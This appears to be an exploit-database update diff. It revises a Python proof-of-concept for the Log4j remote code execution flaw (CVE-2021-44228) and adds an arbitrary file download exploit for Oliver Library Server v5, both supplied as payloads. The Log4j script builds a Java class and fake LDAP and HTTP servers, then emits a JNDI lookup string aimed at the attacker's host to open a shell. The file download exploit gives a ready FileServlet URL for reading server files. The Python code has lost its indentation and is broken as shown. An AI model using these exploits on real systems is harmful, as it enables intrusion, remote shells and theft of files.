DB: 2021-12-16

2 changes to exploits/shellcodes

Oliver Library Server v5 - Arbitrary File Download

exploits/java/remote/50592.py

@@ -9,20 +9,30 @@
 # Github repo: https://github.com/kozmer/log4j-shell-poc
 
 import subprocess
-import os
 import sys
+import argparse
+from colorama import Fore, init
+import subprocess
+import threading
 
-javaver = subprocess.call(['./jdk1.8.0_20/bin/java', '-version']) #stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
-print("\n")
+from http.server import HTTPServer, SimpleHTTPRequestHandler
 
-userip = input("[+] Enter IP for LDAPRefServer & Shell: ")
-userport = input("[+] Enter listener port for LDAPRefServer: ")
-lport = input("[+] Set listener port for shell: ")
+init(autoreset=True)
 
-def payload():
+def listToString(s):
+str1 = ""
+try:
+for ele in s:
+str1 += ele
+return str1
+except Exception as ex:
+parser.print_help()
+sys.exit()
 
-    javapayload = ("""
+def payload(userip , webport , lport):
 
+genExploit = (
+"""
 import java.io.IOException;
 import java.io.InputStream;
 import java.io.OutputStream;
@@ -59,23 +69,77 @@ public class Exploit {
 s.close();
 }
 }
-
 """) % (userip, lport)
 
+# writing the exploit to Exploit.java file
+
+try:
 f = open("Exploit.java", "w")
-    f.write(javapayload)
+f.write(genExploit)
 f.close()
+print(Fore.GREEN + '[+] Exploit java class created success')
 
-    os.system('./jdk1.8.0_20/bin/javac Exploit.java')
+except Exception as e:
+print(Fore.RED + f'[-] Something went wrong {e.toString()}')
 
+checkJavaAvailible()
+print(Fore.GREEN + '[+] Setting up fake LDAP server\n')
+
+# create the LDAP server on new thread
+t1 = threading.Thread(target=createLdapServer, args=(userip,webport))
+t1.start()
+
+# start the web server
+
+httpd = HTTPServer(('localhost', int(webport)), SimpleHTTPRequestHandler)
+httpd.serve_forever()
+
+def checkJavaAvailible():
+javaver = subprocess.call(['./jdk1.8.0_20/bin/java', '-version'], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
+if(javaver != 0):
+print(Fore.RED + '[-] Java is not installed inside the repository ')
+sys.exit()
+
+def createLdapServer(userip, lport):
 sendme = ("${jndi:ldap://%s:1389/a}") % (userip)
-    print("[+] Send me: "+sendme+"\n")
+print(Fore.GREEN +"[+] Send me: "+sendme+"\n")
 
-def marshalsec():
-    os.system("./jdk1.8.0_20/bin/java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer
+subprocess.run(["./jdk1.8.0_20/bin/javac", "Exploit.java"])
+
+url = "
 http://{}:{}/#Exploit".format
-(userip, userport))
+(userip, lport)
+subprocess.run(["./jdk1.8.0_20/bin/java", "-cp",
+"target/marshalsec-0.0.3-SNAPSHOT-all.jar", "marshalsec.jndi.LDAPRefServer", url])
+
+def header():
+print(Fore.BLUE+"""
+[!] CVE: CVE-2021-44228
+[!] Github repo:
+https://github.com/kozmer/log4j-shell-poc
+""")
 
 if __name__ == "__main__":
-    payload()
-    marshalsec()
+header()
+
+try:
+parser = argparse.ArgumentParser(description='please enter the values ')
+
+parser.add_argument('--userip', metavar='userip', type=str,
+nargs='+', help='Enter IP for LDAPRefServer & Shell')
+
+parser.add_argument('--webport', metavar='webport', type=str,
+nargs='+', help='listener port for HTTP port')
+
+parser.add_argument('--lport', metavar='lport', type=str,
+nargs='+', help='Netcat Port')
+
+args = parser.parse_args()
+
+#print(args.userip)
+
+payload(listToString(args.userip), listToString(args.webport), listToString(args.lport))
+
+except KeyboardInterrupt:
+print(Fore.RED + "user interupted the program.")
+sys.exit(0)

exploits/windows/remote/50599.txt

@@ -0,0 +1,18 @@
+# Exploit Title: Oliver Library Server v5 - Arbitrary File Download
+# Date: 14/12/2021
+# Exploit Authors: Mandeep Singh, Ishaan Vij, Luke Blues, CTRL Group
+# Vendor Homepage: https://www.softlinkint.com/product/oliver/
+# Product: Oliver Server v5
+# Version: < 8.00.008.053
+# Tested on: Windows Server 2016
+
+Technical Description:
+An arbitrary file download vulnerability in Oliver v5 Library Server Versions < 8.00.008.053 via the FileServlet function allows for arbitrary file download by an attacker using unsanitized user supplied input.
+
+Steps to Exploit:
+
+1)  Use the following Payload:
+        https://<hostaddress>/oliver/FileServlet?source=serverFile&fileName=<arbitrary file path>
+
+2) Example to download iis.log file:
+        https://<hostaddress>/oliver/FileServlet?source=serverFile&fileName=c:/windows/iis.log

files_exploits.csv

@@ -18583,6 +18583,7 @@ id,file,description,date,author,type,platform,port
 50588,exploits/linux/remote/50588.txt,"HD-Network Real-time Monitoring System 2.0 - Local File Inclusion (LFI)",1970-01-01,"Momen Eldawakhly",remote,linux,
 50590,exploits/java/remote/50590.py,"Apache Log4j2 2.14.1 - Information Disclosure",1970-01-01,leonjza,remote,java,
 50592,exploits/java/remote/50592.py,"Apache Log4j 2 - Remote Code Execution (RCE)",1970-01-01,kozmer,remote,java,
+50599,exploits/windows/remote/50599.txt,"Oliver Library Server v5 - Arbitrary File Download",1970-01-01,"Mandeep Singh",remote,windows,
 6,exploits/php/webapps/6.php,"WordPress Core 2.0.2 - 'cache' Remote Shell Injection",1970-01-01,rgod,webapps,php,
 44,exploits/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",1970-01-01,"Rick Patel",webapps,php,
 47,exploits/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",1970-01-01,Spoofed,webapps,php,